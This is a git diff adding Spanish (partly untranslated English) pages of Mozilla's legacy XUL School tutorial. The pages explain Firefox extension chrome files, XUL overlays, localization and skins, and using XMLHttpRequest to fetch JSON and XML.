+skin      xulschoolhello  classic/1.0 jar:chrome/xulschoolhello.jar!/skin/win/ os=WinNT
+locale    xulschoolhello  en-US       jar:chrome/xulschoolhello.jar!/locale/en-US/</pre>
+</div>
+</div>
+
+<p>De esta manera podemos tener temas distintos para Windows, Mac OS X, y Linux (además de otros sistemas similares a unix), cada uno definido en un directorio separado. Ya que la mayoría de los sistemas están basados en Unix, el tema "unix" es el utilizado por defecto, sin banderas.</p>
+
+<h2 id="El_Chrome">El Chrome</h2>
+
+<p>Como se ha mencionado antes, el chrome se compone de 3 secciones: contenido, localizaciones y temas. El contenido es la sección mas importante, ya que tiene la interfaz de usuario (XUL) y archivos de scripts (JS). La sección de temas contiene los archivos que definen la mayoría del aspecto y la sensación de la UI (incluyendo CSS e imágenes, como las páginas web). Finalmente, la sección de localización incluye todos los textos utilizados en la extensión, en DTD y archivos de propiedades. Esta división permite a otros desarrolladores crear temas que reemplacen pieles, y traductores para crear localizaciones en distintos idiomas, todo esto sin tener que cambiar tu extensión o tu código. Esto le da a las extensiones de Firefox gran flexibilidad.</p>
+
+<p>Se accede a los archivos chrome  a través del protocolo chrome. Las URIs chrome se definen así:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">chrome:<span class="code-comment">//packagename/section/path/to/file</span></pre>
+</div>
+</div>
+
+<p>Así que, por ejemplo, si quiero acceder al archivo <em>b</em><em>rowserOverlay.xul</em> en la extensión, la URI chrome sería <em><a class="external" rel="freelink">chrome://xulschoolhello/content/browserOverlay.xul</a></em>. Si tienes demasiados archivos en el contenido y quieres organizarlos en subdirectorios, no necesitas cambiar nada en <em>chrome.manifest</em>, todo lo que necesitas es añadir el camino correcto tras <em>content</em> en la URI. Los temas y localizaciones funcionan de la misma manera, y no necesitas especificar sus nombre. Así que, para acceder al archivo DTD en la extensión Hola Mundo, el camino chrome es <em><a class="external" rel="freelink">chrome://xulschoolhello/locale/browserOverlay.dtd</a></em>. Firefox sabe qué localización buscar.</p>
+
+<p>Aquí tenemos un experimento interesante. Abre una pestaña nueva en Firefox, teclea<em> <a class="external" rel="freelink">chrome://mozapps/content/downloads/downloads.xul</a></em> en la barra de notificaciones y pulsa ENTRAR. ¿Sorprendido? ¡Acabas de abrir la ventana de Descargas en tu pestaña de Firefox! Puedes acceder a cualquier archivo chrome simplemente tecleando su URI en la barra de direcciones. Esto puede ser útil si quieres inspeccionar archivos de script que son parte de Firefox, u otras extensiones, por ti sólo. La mayoría de estos archivos se abren como archivos de texto, a excepción de los archivos XUL, que se ejecutan y muestran como normalmente los verías en una ventana.</p>
+
+<h3 id="Contenido">Contenido</h3>
+
+<p>Hay dos archivos de contenido en el directorio de contenido. Miremos el primer archivo XUL.</p>
+
+<p>Los archivos <a href="/en/XUL" title="en/XUL">XUL</a> son archivos XML que definen la interfaz gráfica de usuario de los elementos en Firefox y las extensiones de Firefox. XUL fue inspirado por HTML, así que verás bastantes similitudes entre ambos. De todos modos, XUL es también una mejora sobre HTML, habiendo aprendido de los errores cometidos durante la evolución de HTML. XUL te permite crear interfaces más ricas e interactivas que las que puedas crear con HTML, o al menos XUL lo hace más fácil.</p>
+
+<p>Los archivos XUL normalmente definen una de dos cosas: ventanas o superposiciones. El archivo que has abierto antes, <em>downloads.xul</em>, tiene el código que define la ventana de Descargas. El archivo XUL incluido en la extensión Hola Mundo tiene una superposición. Una superposición extiende una ventana ya existente, añadiendo nuevos elementos a esta o reemplazando algunos de los elementos que tiene. La línea que nos hemos saltado en el archivo  <em>chrome.manifest</em> declara que este archivo XUL es una superposición para la ventana principal del navegador.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">overlay chrome:<span class="code-comment">//browser/content/browser.xul  chrome://xulschoolhello/content/browserOverlay.xul</span></pre>
+</div>
+</div>
+
+<p>Con esta línea, Firefox sabe que necesita tomar el contenido de <em>browserOverlay.xul</em> y superponerlo sobre la ventana principal del navegador, <em>browser.xul</em>. Puedes declarar overlays para cualquier ventana o diálogo en Firefox, pero superponer la ventana principal del navegador es el caso más común.</p>
+
+<p>Ahora echemos un vistazo a los contenidos de nuestro archivo XUL. Nos saltaremos las primeras líneas porque se refieren al tema y la localización, las cuales cubriremos más tarde.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;overlay id="xulschoolhello-browser-overlay"
+  xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;</pre>
+</div>
+</div>
+
+<p>El elemento raíz en el archivo es un <em>overlay</em>. Otros documentos XUL usan la etiqueta <em>window</em> o <em>dialog</em>. El elemento tiene una id única, la cuál deberías usar en la mayoría de los elementos en tu XUL. El segundo atributo es el espaciado de nombres, lo cuál es algo que siempre deberías definir en tu elemento raíz. Esto dice que este nodo y todos sus nodos hijos son XUL. Sólo necesitas cambiar las declaraciones del espaciado de nombres cuando combines distintos tipos de contenidos, como XUL con HTML o SVG.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">Es probable que te hayas dado cuenta del nombre que hemos usado en distintos lugares, así como la id <em>xulschoolhello-browser-overlay. Este es el espaciado de nombres estándar que utilizamos para evitar conflictos con Firefox y otras extensiones, así como hacer algunas tareas de desarrollo más sencillas. Usamos el mismo espaciado de nombres en todas las ids y clases de estilo de los elementos de superposición porque serán mezclados con otros elementos en la ventana principal del navegador. Si usásemos ids genéricas como container o input, estas </em>entrarían en conflicto con las ids usadas dentro de Firefox, o las ids de otras extensiones de superposición. Usando espaciado de nombres minimiza los problemas de compatibilidad con otras extensiones. Usamos camel casing para los nombres de archivos, y todo en minúsculas con barras para las ids de elementos y los nombres de clases de los estilos CSS.</div>
+</div>
+</div>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;script type=<span class="code-quote">"application/x-javascript"</span>
+  src=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/content/browserOverlay.js"</span> /&gt;</span></pre>
+</div>
+</div>
+
+<p>Al igual que en HTML, esto incluye un script en JavaScript. Puedes tener tantos elementos <em>scripts</em> en un archivo XUL como necesites. Miraremos su código más tarde.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">También es posible que te hayas dado cuenta en el formato de nuestro código, y preguntarte sobre las reglas que seguimos. Nuestra regla general es que la longitud de la línea no sea superior a 80 caracteres. Esto puede parecer muy restrictivo, sobre todo en los archivos XML, pero este número ha sido elegido para permitir a casi todos los editores de texto que manejen estos archivos de manera sencilla. Incluso un editor de textos antiguo desde la línea de comandos funciona bien que cortan sus líneas antes de los 80 caracteres. La tabulación es muy directa: 2 espacios en blanco para indentar. Nunca usamos caracteres TAB, a excepción de los Makefiles, los cuáles cubriremos más adelante. La mayoría de nuestros estándares de código se basan en los estándares de Mozilla u otros conocidos.</div>
+</div>
+</div>
+
+<p>Nos saltaremos algo de código qie se cubrirá en la sección de localización, moviéndonos así a la parte importante del contenido:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;menubar id="main-menubar"&gt;
+  &lt;menu id="xulschoolhello-hello-menu" label="&amp;xulschoolhello.hello.label;"
+    accesskey="&amp;xulschoolhello.helloMenu.accesskey;" insertafter="helpMenu"&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem id="xulschoolhello-hello-menu-item"
+        label="&amp;xulschoolhello.hello.label;"
+        accesskey="&amp;xulschoolhello.helloItem.accesskey;"
+        oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menubar&gt;</pre>
+</div>
+</div>
+
+<p>Este es el código que añade el menú de Hola Mundo a la ventana del navegador. Para escribir este código, necesitamos algo de conocimiento sobre el código XUL en <em>browser.xul</em>. Necesitábamos saber que la id del menú principal es <em>main-menubar</em>. Estamos añadiendo un menú nuestro propio, y diciéndole a Firefox que lo añada a la barra de menú principal, justo después del menú de ayuda. Ese es el propósito del atributo:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">insertafter=<span class="code-quote">"helpMenu"</span></pre>
+</div>
+</div>
+
+<p><em>helpMenu</em> es la id del elemento del menú que corresponde al menú de Ayuda en la ventana principal del navegador. Más adelante veremos como podemos encontrar cosas como las ids de los elementos del navegador, pero por ahora miraremos a los elementos que componen el menú de Hola Mundo.</p>
+
+<p>El elemento <a href="/en/XUL/menubar" title="en/XUL/menubar">menubar</a> representa la barra de menús que normalmente ves arriba del todo de una ventana de aplicación. La ventana principal de Firefox tiene una, pero pocas otras ventanas tienen. También es raro para ventanas adicionales de una extensión tengan sus propias barras de menú.</p>
+
+<p>Hemos añadido el menú de Hola Mundo justo en la "raíz" de la barra de menús así que sería muy fácil para ti localizarlo, pero no es una práctica recomendada. Imaginemos si todas las extensiones añadieran menús a la barra de menús de arriba; teniendo unas pocas extensiones haría que el menú pareciese como un salpicadero de un avión, lleno de opciones. El lugar recomendado para los menús de extensiones es bajo el menú de <em>Herramientas</em>, así que el código se parecería a este:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;menupopup id=<span class="code-quote">"menu_ToolsPopup"</span>&gt;
+  &lt;menu id=<span class="code-quote">"xulschoolhello-hello-menu"</span> label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello.label;"</span>
+    accesskey=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloMenu.accesskey;"</span>
+    insertafter=<span class="code-quote">"javascriptConsole,devToolsSeparator"</span>&gt;
+    &lt;menupopup&gt;
+      &lt;menuitem id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-hello-menu-item"
+      </span>  label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello.label;"</span>
+        accesskey=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloItem.accesskey;"</span>
+        oncommand=<span class="code-quote">"XULSchoolChrome.BrowserOverlay.sayHello(event);"</span> /&gt;
+    &lt;/menupopup&gt;
+  &lt;/menu&gt;
+&lt;/menupopup&gt;</pre>
+</div>
+</div>
+
+<p>Estamos superponiendo un menú que está más adentro en nuestro árbol XUL, pero no parece importar porque todo lo que necesitamos es la id del elemento que queremos superponer. En estado es el elemento <a href="/en/XUL/menupopup" title="en/XUL/menupopup">menupopup</a> que está dentro del elemento del <a href="/en/XUL/menu" title="en/XUL/menu">menú</a> de Herramientas. El atributo <em>insertafter</em> le dice a Firefox que añada el menú debajo del objeto de la Consola de Errores (formalmente conocida como la Consola de JavaScript) en el menú de Herramientas, como se recomienda en la <a href="/en/Extensions/Extension_etiquette" title="en/Extension Etiquette"><span class="external">Extension Etiquette page</span></a>. Discutiremos más de los menús más adelante en este tutorial. Por ahora vamos a centrarnos en la siguiente línea:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">oncommand=<span class="code-quote">"XULSchoolChrome.BrowserOverlay.sayHello(event);"</span></pre>
+</div>
+</div>
+
+<p>This attribute defines an event handler. The <em>command</em> event is the most frequently used in Firefox, since it corresponds to the main action for most UI elements. The value of the attribute is JavaScript code that invokes a function. This function is defined in the JS file that was included with the <em>script</em> tag. The JS function will be called once the user clicks on the menu item in the Hello World menu. All event handlers define a special object named <em>event</em>, which is usually good to pass as an argument to the function. Event handlers are explained in greater depth further ahead.</p>
+
+<p>Now let's look at the JavaScript file and see what's going on when the event is fired.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * XULSchoolChrome namespace.
+ */
+if ("undefined" == typeof(XULSchoolChrome)) {
+  var XULSchoolChrome = {};
+};</pre>
+</div>
+</div>
+
+<p>The <em>XULSchoolChrome</em> namespace is defined. All objects and variables we define in this JavaScript are global, meaning that scripts in Firefox and other extensions can see them and interact with them. This also means that if we define an object called <em>MenuHandler</em> or some other generic name, it's likely going to conflict with an existing object. What we do here is define a single global object: <em>XULSchoolChrome</em>. Now we know that all of our objects are inside this object, which is unlikely to be duplicated or overwritten by other extensions.</p>
+
+<p>You can read more about the <a href="/en/JavaScript/Reference/Operators/Special/typeof" title="en/Core JavaScript 1.5 Reference/Operators/Special Operators/typeof Operator"><span class="external">typeof operator</span></a>. If you're unfamiliar with JavaScript or this particular syntax, initializing an object as <em>{}</em> is the equivalent of initializing it to <em>new Object()</em>.</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">/**
+ * Controls the browser overlay <span class="code-keyword">for</span> the Hello World extension.
+ */
+XULSchoolChrome.BrowserOverlay = {</pre>
+</div>
+</div>
+
+<p>Finally, <em>BrowserOverlay</em> is our object. Naming and referencing  objects in such a long and verbose manner can feel uncomfortable at first, but it's worth the cost.</p>
+
+<div class="panel" style="border-width: 1px;">
+<div class="panelContent">
+<div class="note">We use <a class="external" href="http://java.sun.com/j2se/javadoc/writingdoccomments/index.html">Javadoc</a> style comments on all namespaces, objects and object members. This is a similar standard to the one used in Mozilla code, and some tools can generate documentation automatically from Javadoc.</div>
+</div>
+</div>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">sayHello : function(aEvent) {
+  let stringBundle = document.getElementById("xulschoolhello-string-bundle");
+  let message = stringBundle.getString("xulschoolhello.greeting.label");
+
+  window.alert(message);
+}</pre>
+</div>
+</div>
+
+<p>And, finally, this is our function declaration. Three lines of code are all we need for it to work. The first line in the body of the function declares a variable that will hold the <a href="/en/XUL/stringbundle" title="en/XUL/stringBundle">stringbundle</a> element defined in the overlay. The variable is declared using <em>let,</em> which is similar to <em>var</em> but with more restricted scope. Here you can read more about <a href="/en/JavaScript/New_in_JavaScript/1.7#Block_scope_with_let" title="en/New in JavaScript 1.7#Block scope with let"><span class="external">let declarations</span></a>. It's worth noting that this is a relatively new addition to JavaScript in Firefox and you should use <em>var</em> if you're creating an extension compatible with very old versions.</p>
+
+<p>Just like in regular JS, we can use the <a href="/en/DOM" title="en/DOM"><span class="external">DOM</span></a> (Document Object Model) in order to manipulate the XUL document. First we get a reference of the <a href="/en/XUL/stringbundle" title="en/XUL/stringbundle"><span class="external">stringbundle element</span></a> in the document. This is a special element that allows us to obtain localized strings dynamically, by only providing a "key" that identifies the string. This is what we do on the second line. We call the <a href="/en/XUL/stringbundle#m-getString" title="en/XUL/stringbundle#m-getString">getString method</a> of the bundle element and get the localized message to be displayed. We then call the <a href="/en/DOM/window.alert" title="en/DOM/window.alert">window.alert</a> function with the message, just like we would do in an HTML document.</p>
+
+<h3 id="Locale">Locale</h3>
+
+<p>There are two types of locale files: DTD and properties, and in this example we use them both. DTD is the most efficient way of showing text in XUL, so you should use it whenever possible. It is somewhat inflexible so it can't be used for dynamically generated text, hence the need for an alternate way of getting localized strings.</p>
+
+<p>Looking back at the menu code, you probably noticed some attributes such as this:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">label=<span class="code-quote">"&amp;xulschoolhello.hello.label;"</span> accesskey=<span class="code-quote">"&amp;xulschoolhello.helloItem.accesskey;"</span></pre>
+</div>
+</div>
+
+<p>These attributes define the text that you see on the menus, and they are string keys that are defined in our DTD file, <em>browserOverlay.dtd</em>. The DTD file was included in the XUL file with the following code:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;!DOCTYPE overlay SYSTEM "chrome://xulschoolhello/locale/browserOverlay.dtd" &gt;</pre>
+</div>
+</div>
+
+<p>And in the DTD file you can see the association between keys and localized strings:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;!ENTITY xulschoolhello.hello.label            <span class="code-quote">"Hello World!"</span>&gt;
+&lt;!ENTITY xulschoolhello.helloMenu.accesskey    <span class="code-quote">"l"</span>&gt;
+&lt;!ENTITY xulschoolhello.helloItem.accesskey    <span class="code-quote">"H"</span>&gt;</pre>
+</div>
+</div>
+
+<p>Notice that on the XUL file you enclose the string key with <em>&amp;</em> and <em>;</em> while on the DTD file you only specify the key. You may get weird parsing errors or incorrect localization if you don't get it right.</p>
+
+<p>Access keys are the shortcuts that allow you to quickly navigate a menu using only the keyboard. They are also the only way to navigate a menu for people with accessibility problems, such as partial or total blindness, or physical disabilities that make using a mouse very difficult or impossible. You can easily recognize the access keys on Windows because the letter that corresponds to the access key is underlined, as in the following image:</p>
+
+<div>
+<p><img alt="" class="internal" src="../../../../@api/deki/files/4226/=accesskeys.png" style="height: 58px; width: 167px;"></p>
+</div>
+
+<p>Most user interface controls have the <em>accesskey</em> attribute, and you should use it. The value of the access key is localized because it should match a letter in the label text. You should also be careful to avoid access key repetition. For example, within a menu or submenu, access keys should not be repeated. In a window you have to be more careful picking access keys because there are usually more controls there. You have to be specially careful when picking access keys on an overlay. In our case, we can't use the letter "H" as an accesskey in the Main menu item, because it would be the same as the access key in the Help menu. Same goes with "W" and the Window menu on Mac OS. So we settled on the letter "l".</p>
+
+<p>DTD strings are resolved and set when the document is being loaded. If you request the <em>label</em> attribute value for the Hello World menu using DOM, you get the localized string, not the string key. You cannot dynamically change an attribute value with a new DTD key, you have to set the new value directly:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="brush: js">let helloItem = document.getElementById(<span class="code-quote">"xulschoolhello-hello-menu-item"</span>);
+
+<span class="code-comment">// The alert will say <span class="code-quote">"Hello World!"</span>
+</span>alert(helloItem.getAttribute(<span class="code-quote">"label"</span>));
+<span class="code-comment">// Wrong
+</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, <span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello2.label;"</span>);
+<span class="code-comment">// Better
+</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, <span class="code-quote">"Alternate message"</span>);
+<span class="code-comment">// Right!
+</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, someStringBundle.getString(<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello2.label"</span>));</pre>
+</div>
+</div>
+
+<p>This is the reason DTD strings are not a solution for all localization cases, and the reason we often need to include string bundles in XUL files:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;stringbundleset id="stringbundleset"&gt;
+  &lt;stringbundle id="xulschoolhello-string-bundle"
+    src="chrome://xulschoolhello/locale/browserOverlay.properties" /&gt;
+&lt;/stringbundleset&gt;</pre>
+</div>
+</div>
+
+<p>The <a href="/en/XUL/stringbundleset" title="en/XUL/stringbundleset">stringbundleset</a> element is just a container for <a href="/en/XUL/stringbundle" title="en/XUL/stringbundle">stringbundle</a> elements. There should only be one per document, which is the reason why we overlay the <em>stringbundleset</em> that is in <em>browser.xul</em>, hence the very generic id. We don't include the <em>insertbefore</em> or <em>insertafter</em> attributes because the ordering of string bundles doesn't make a difference. The element is completely invisible. If you don't include any of those ordering attributes in an overlay element, Firefox will just append your element as the last child of the parent element.</p>
+
+<p>All you need for the string bundle is an id (to be able to fetch the element later) and the chrome path to the properties file. And, of course, you need the properties file:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">xulshoolhello.greeting.label = Hi! How are you?</pre>
+</div>
+</div>
+
+<p>The whitespace around the equals sign is ignored. Just like in <em>install.rdf</em>, comments can be added using the # character at the beginning of the line. Empty lines are ignored as well.</p>
+
+<p>You will often want to include dynamic content as part of localized strings, like when you want to inform the user about some stat related to the extension. For example: "Found 5 words matching the search query". Your first idea would probably be to simply concatenate strings, and have one "Found" property and another "words matching..." property. This is not a good idea. It greatly complicates the work of localizers, and grammar rules on different languages may change the ordering of the sentence entirely. For this reason it's better to use parameters in the properties:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">xulshoolhello.search.label = Found %S words matching the search query!</pre>
+</div>
+</div>
+
+<p>Then you use <a href="/en/XUL/stringbundle#m-getFormattedString" title="en/XUL/stringbundle#m-getFormattedString">getFormattedString</a> instead of <em>getString</em> in order to get the localized string. Thanks to this we don't need to have multiple properties, and life is easier for translators. You can read more about it on the <a href="/en/XUL_Tutorial/Property_Files#Text_Formatting" title="en/XUL Tutorial/Property Files#Text Formatting">Text Formatting section</a> of the XUL Tutorial. Also have a look at the <a href="/en/Localization_and_Plurals" title="en/Localization and Plurals">Plurals and Localization</a> article, that covers a new localization feature in Firefox 3 that allows you to further refine this last example to handle different types of plural forms that are also language-dependent.</p>
+
+<h3 id="Skin">Skin</h3>
+
+<p>Styling XUL is very similar to styling HTML. We'll look into some of the differences when we cover the XUL Box Model, and other more advanced topics. There isn't much styling you can do to a minimal menu and a very simple alert message, so the Hello World extension only includes an empty CSS file and the compulsory global skin file:</p>
+
+<div class="code panel" style="border-width: 1px;">
+<div class="codeContent panelContent">
+<pre class="code-java">&lt;?xml-stylesheet type=<span class="code-quote">"text/css"</span> href=<span class="code-quote">"chrome:<span class="code-comment">//global/skin/"</span>  ?&gt;
+</span>&lt;?xml-stylesheet type=<span class="code-quote">"text/css"</span>
+  href=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/skin/browserOverlay.css"</span>  ?&gt;</span></pre>
+</div>
+</div>
+
+<p>The global skin CSS file holds the default styles for all XUL elements and windows. Forgetting to include this file in a XUL window usually leads to interesting and often unwanted results. In our case we don't really need to include it, since we're overlaying the main browser XUL file, and that file already includes this global CSS. At any rate it's better to always include it. This way it's harder to make the mistake of not including it. You can enter the chrome path in the location bar and inspect the file if you're curious.</p>
+
+<p>This covers all of the files in the Hello World extension. Now you should have an idea of the basics involved in extension development, so now we'll jump right in and set up a development environment. But first, a little exercise.</p>
+
+<h2 id="Exercise">Exercise</h2>
+
+<p>Change the welcome message that is displayed in the alert window and move the Hello World menu to the Tools Menu, where it belongs. Repackage the XPI and re-install it. You can just drag the XPI file to the browser and it will be installed locally. Test it and verify your changes worked. If you run into problems at installation, it's likely that you didn't reproduce the XPI structure correctly, maybe adding unnecessary folders. Note that on Firefox 4 and above, on Windows and some Linux distributions, the Tools menu is hidden by default. It can be enabled using the Alt key.</p>
+
+<p>Once you're done, you can look at this reference solution: <a href="/@api/deki/files/5141/=xulschoolhello2.xpi" title="https://developer.mozilla.org/@api/deki/files/5141/=xulschoolhello2.xpi">Hello World 2</a>.</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Introducción_a_las_extensiones_de_Firefox", "Escuela_XUL/Montando_un_ambiente_de_desarrollo") }}</p>
+
+<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/es/mozilla/tech/xul/escuela_xul/enlazando_contenido_remoto/index.html b/files/es/mozilla/tech/xul/escuela_xul/enlazando_contenido_remoto/index.html
new file mode 100644
index 0000000000..bc80d6b948
--- /dev/null
+++ b/files/es/mozilla/tech/xul/escuela_xul/enlazando_contenido_remoto/index.html
@@ -0,0 +1,231 @@
+---
+title: Enlazando contenido remoto
+slug: Mozilla/Tech/XUL/Escuela_XUL/Enlazando_contenido_remoto
+translation_of: Archive/Add-ons/Overlay_Extensions/XUL_School/Connecting_to_Remote_Content
+---
+<div class="blockIndicator warning">
+<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
+</div>
+
+<p>{{LegacyAddonsNotice}}{{AddonSidebar}}</p>
+
+<p>{{ PreviousNext("Escuela_XUL/Interceptando_cargas_de_página", "Escuela_XUL/Personalizar_elementos_XUL_con_XBL") }}</p>
+
+<h2 id="Using_XMLHttpRequest">Using XMLHttpRequest</h2>
+
+<p><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a> is an API for transferring XML between a local script and a remote server via HTTP. It is an integral part of the modern web, and all major browsers support it. Besides XML, it can be used to retrieve data in other formats, for example JSON, HTML and plain text. In this section we'll look into the XML and JSON communication mechanisms.</p>
+
+<pre class="brush: js">let url = "<a class="external" href="http://www.example.com/" rel="freelink">http://www.example.com/</a>";
+let request = Components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"]
+              .createInstance(Components.interfaces.nsIXMLHttpRequest);
+request.onload = function(aEvent) {
+  window.alert("Response Text: " + aEvent.target.responseText);
+};
+request.onerror = function(aEvent) {
+   window.alert("Error Status: " + aEvent.target.status);
+};
+request.open("GET", url, true);
+request.send(null);
+</pre>
+
+<p>In this example we demonstrate how to make a XMLHttpRequest call in asynchronous mode. You can see that an instance of the XMLHttpRequest class is created and it holds all functionality for making a request. We create this instance using XPCOM instead of the usual way (<code>new XMLHttpRequest()</code>) because this way works both in chrome and non-chrome code.</p>
+
+<p>Following initialization, <em>onload</em> and <em>onerror</em> handlers are registered to a callback function to handle the response returned from the remote server. In both cases <em>aEvent.target</em> is an {{ interface("nsIXMLHttpRequest") }}. In the <em>onload</em> callback function, the <em>responseText</em> parameter contains the server response as text.</p>
+
+<p>If the response is an XML document, the <em>responseXML</em> property will hold an XMLDocument object that can be manipulated using DOM methods. Sometimes the server doesn't specify an XML Content-Type header, which is necessary for the XML parsing to happen automatically. You can use <em>overrideMimeType</em> to force the response to be parsed as XML.</p>
+
+<pre class="brush: js">request.overrideMimeType("text/xml"); // do this before sending the request!
+</pre>
+
+<p>The <em>open</em> method takes two required parameters: the HTTP request method and the URL to send the request. The HTTP request method can be "GET", "POST" or "PUT". Sending a POST request requires you to set the content type of the request and to pass the post data to the send() method as below.</p>
+
+<pre class="brush: js">request.open("POST", url, true);
+request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+request.send("data=hello&amp;version=2");
+</pre>
+
+<p>The third parameter for the <em>open</em> method specifies whether the request should be handled asynchronously or not. In asynchronous mode code execution continues immediately after the <em>send</em> call. In synchronous mode the code and user interface are blocked while waiting for a response to come back.</p>
+
+<div class="note"><strong>Note:</strong> Requests can take a long time to process and you don't want users to be stuck waiting while a request is obtained and processed. Therefore, <strong>it is very important that XMLHttpRequest calls are always done asynchronously</strong>.</div>
+
+<p>Now let's look at the most common types of content you can use to communicate with remote servers.</p>
+
+<h2 id="JSON_content">JSON content</h2>
+
+<p><a href="/en/JSON" title="en/JSON">JSON</a> is a very lightweight and simple data representation format, similar to the object representation used in JavaScript. Unlike JavaScript, the JSON format doesn't allow any kind of code that can be run, only data.</p>
+
+<p>JSON used to be risky in terms of security because the favored way of parsing it was to use the JavaScript <a href="/en/eval" title="en/eval">eval</a> function. Since <em>eval</em> executes any code contained in the string, workarounds had to be devised in order to close security holes. Luckily, Firefox now provides a few alternatives for extension developers. The <a href="/en/JSON" title="en/JSON">JSON</a> page explains in detail how to parse JSON data in different versions of Firefox and other applications.</p>
+
+<p>Assume we need to parse the following data:</p>
+
+<pre class="brush: js">{"shops": [{"name": "Apple", "code": "A001"}, {"name": "Orange"}], "total": 100}
+</pre>
+
+<p>When the <em>onload</em> callback function is called, the response text is converted into a JS object using the <em>parse</em> method. You can then use this object like any other JavaScript objects in your code.</p>
+
+<pre class="brush: js">request.onload = function(aEvent) {
+  let text = aEvent.target.responseText;
+  let jsObject = JSON.parse(text);
+
+  window.alert(jsObject.shops[1].name); // =&gt; "Orange"
+  window.alert(jsObject.total);         // =&gt; 2;
+};
+</pre>
+
+<p>The JavaScript object can also be serialized back with the <em>stringify</em> method.</p>
+
+<pre class="code-javascript">let string = JSON.stringify(jsObject);
+</pre>
+
+<h2 id="XML_content">XML content</h2>
+
+<p>XML is possibly the most popular data interchange format. Let's assume that the XML returned from remote server is this:</p>
+
+<pre class="code-xml"><span class="code-tag">&lt;?xml version=<span class="code-quote">"1.0"</span>?&gt;</span>
+<span class="code-tag">&lt;data&gt;</span>
+  <span class="code-tag">&lt;shops&gt;</span>
+    <span class="code-tag">&lt;shop&gt;</span>
+      <span class="code-tag">&lt;name&gt;</span>Apple<span class="code-tag">&lt;/name&gt;</span>
+      <span class="code-tag">&lt;code&gt;</span>A001<span class="code-tag">&lt;/code&gt;</span>
+    <span class="code-tag">&lt;/shop&gt;</span>
+    <span class="code-tag">&lt;shop&gt;</span>
+      <span class="code-tag">&lt;name&gt;</span>Orange<span class="code-tag">&lt;/name&gt;</span>
+    <span class="code-tag">&lt;/shop&gt;</span>
+  <span class="code-tag">&lt;/shops&gt;</span>
+  <span class="code-tag">&lt;total&gt;</span>2<span class="code-tag">&lt;/total&gt;</span>
+<span class="code-tag">&lt;/data&gt;</span>
+</pre>
+
+<p>When a valid XML response comes back from the remote server, the XML document object can be manipulated using different DOM methods, to display the data in the UI or store it into a local datasource.</p>
+
+<pre class="brush: js">request.onload = function(aEvent) {
+  let responseXML = aEvent.target.responseXML;
+  let rootElement = responseXML.documentElement;
+
+  if (rootElement &amp;&amp; "parseerror" != rootElement.tagName) {
+    let shopElements = rootElement.getElementsByTagName("shop");
+    let totalElement = rootElement.getElementsByTagName("total")[0];
+
+    window.alert(shopElements[1].getElementsByTagName("name")[0].firstChild.nodeValue); // =&gt; Orange
+    window.alert(totalElement.firstChild.nodeValue);                                     // =&gt; 2
+  }
+};
+</pre>
+
+<p>Using DOM functions is good for simple XML documents, but DOM manipulation code can become too complicated if the documents are more complex. There are a couple of tools you can use to process these documents more efficiently:</p>
+
+<h3 id="Using_XPath">Using XPath</h3>
+
+<blockquote>
